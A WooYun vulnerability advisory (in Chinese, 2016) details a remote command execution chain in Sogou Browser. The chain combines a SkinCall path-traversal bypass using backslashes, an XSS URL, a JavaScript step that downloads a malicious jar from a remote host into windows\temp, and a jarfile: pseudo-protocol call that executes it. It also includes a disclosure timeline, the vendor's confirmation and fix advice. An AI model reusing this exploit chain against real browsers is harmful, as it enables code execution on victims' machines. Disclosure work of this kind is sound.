当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0177221

漏洞标题:搜狗浏览器远程命令执行(需安装jre或python等辅助攻击)

相关厂商:搜狗

漏洞作者: 多多关照

提交时间:2016-02-20 13:05

修复时间:2016-05-24 11:10

公开时间:2016-05-24 11:10

漏洞类型:远程代码执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-20: 细节已通知厂商并且等待厂商处理中
2016-02-24: 厂商已经确认,细节仅向厂商公开
2016-02-27: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-04-19: 细节向核心白帽子及相关领域专家公开
2016-04-29: 细节向普通白帽子公开
2016-05-09: 细节向实习白帽子公开
2016-05-24: 细节向公众公开

简要描述:

新年快乐

详细说明:

1. 首先是搜狗浏览器的一个API,这个API在以前的漏洞里被利用过,然后修复了(http://**.**.**.**/bugs/wooyun-2010-037211)
修复后,写入的文件后缀只能是 setheme 和 seskin
其次 cmd.exe 处,也不能使用 ../../../../../../cmd.exe 来向上级目录写入文件了
2. 但是这个函数依然存在一些小缺陷,在 **.**.**.** 域名下执行的下面的语句:
window.external.SkinCall("installTheme", "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\temp\\dadasdad.setheme", 38247, "http://**.**.**.**/xxxxxx", "ok");
如下图所示:可以写入一个文件dadasdad.setheme文件

sg1.png


也就是说,只过滤了 ../../ ,没过滤 ..\..\
3. 因此,通过上面这种方式,我们可以在临时目录里生成任意内容的setheme文件。
4. 接着,我们可以通过
location.href='vbefile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme'; 来尝试执行这个文件。
浏览器将会调用
wscript.exe "vbefile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme"
但是会报下面的错误:

sg2.png


这是因为setheme这个后缀,不能被wscript判断出用什么脚本引擎来执行,所以报这个错误。
这里首先会想到的是前述报告漏洞中的思路,通过 //E:jscript 来指定脚本引擎。
(参见:http://**.**.**.**/bugs/wooyun-2010-0175902)
但是搜狗这里却不行,如下图所示:

sg3.png


图中可以看到,搜狗浏览器将路径进行了一次编码。
这使得我们无法注入双引号来闭合并注入后面的 //E:jscript
5. 为了能够进一步利用,我们需要找到这样的东西,
xxxx.exe "yyyy:/../../../../../../../../../xxx.setheme"
其中xxxx.exe可以直接把setheme的内容当作指令来执行。
a. 首先能想到的是
mshta.exe "yyyy:/../../../../../../../../../xxx.setheme"
mshta并不判断后缀是什么东西,这一点是符合的,不幸的是,
mshta后面的命令行为 "yyyy:......." 的时候,mshta 会认为你是在直接执行一个带协议的参数,
比如 mshta "javascript:alert(1)"
也就是说,当mshta遇到 yyyy: 的时候, mshta并不会把yyyy:/../../../../../../../../../xxx.setheme 当作一个本地路径了。
b. 还有比如 powershell的,其默认执行的关联为 notepad,并不能用来执行。
c. 还有一些例如 msi,要想实现静默无交互,也需要引入参数,
d. 翻遍了系统自带的一些,并没有发现好用的,只能把视线放到一些大家经常安装的第三方插件上了,比如 java 的 jre。
jre安装后,会支持 jarfile

sg4.png


可以看到,我们可以利用jarfile来引入一个jar包
当我们调用

location.href='jarfile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme';


系统会调用
"C:\Program Files (x86)\Java\jre7\bin\javaw.exe" -jar "jarfile:/../../../../../../../../../../../../windows/temp/dadasdad.setheme" %*
如果 dadasdad.setheme 是一个包含恶意指令的jar包,那么就会被执行。
-----------------------------------------------------------
6. 将利用代码串起来
首先是找到一个搜狗的xss,这个并不难。

http://**.**.**.**/search/goto?pcode=licai&module=licai&url=javascript:alert(1);void 0;


然后是利用xss来下载一个恶意的jar包到本地目录

window.external.SkinCall("installTheme", "\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\temp\\xxxxx.setheme", 38247, "http://**.**.**.**/test/all/sogoutest.jar", "ok");


最后是执行这个jar包

function ok(){
location.href="jarfile:/../../../../../../../../../../../windows/temp/xxxxx.setheme"
}


7. 效果见漏洞证明
8. 不光是 jarfile, 如果你是一个程序员,
你可能还会安装 python, perl 等,这些同样可能能够加以利用。
如果大家找到了微软自带的东西里,有可以不需要带参数加以利用的,欢迎分享。

漏洞证明:

版本**.**.**.**78,默认一键安装(安装在系统盘)
电脑需装有jre
然后使用搜狗浏览器访问:
http://**.**.**.**/test/all/sg-jar.htm

sg5.png


电脑装有python的话,可以试试
http://**.**.**.**/test/all/sg-new.htm

sg6.png


修复方案:

1. 在浏览器调用外部的伪协议时,应该加上交互性的提示:
参考:http://**.**.**.**/test/all/readme.htm
2. 修复XSS
http://**.**.**.**/search/goto?pcode=licai&module=licai&url=javascript:alert(1);void 0;
3. 修复 window.external.SkinCall,对 ..\ 也加以过滤

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2016-02-24 11:07

厂商回复:

感谢支持

最新状态:

暂无


漏洞评价:

评价

  1. 2016-02-20 13:32 | ’‘Nome ( 普通白帽子 | Rank:144 漏洞数:31 | 有事请发邮件,2859857@gmail.com,垃圾邮...)

    二哥,我是第一个评论的

  2. 2016-02-20 13:38 | _Thorns ( 普通白帽子 | Rank:1712 漏洞数:261 | 以大多数人的努力程度之低,根本轮不到去拼...)

    哈哈,复活啦,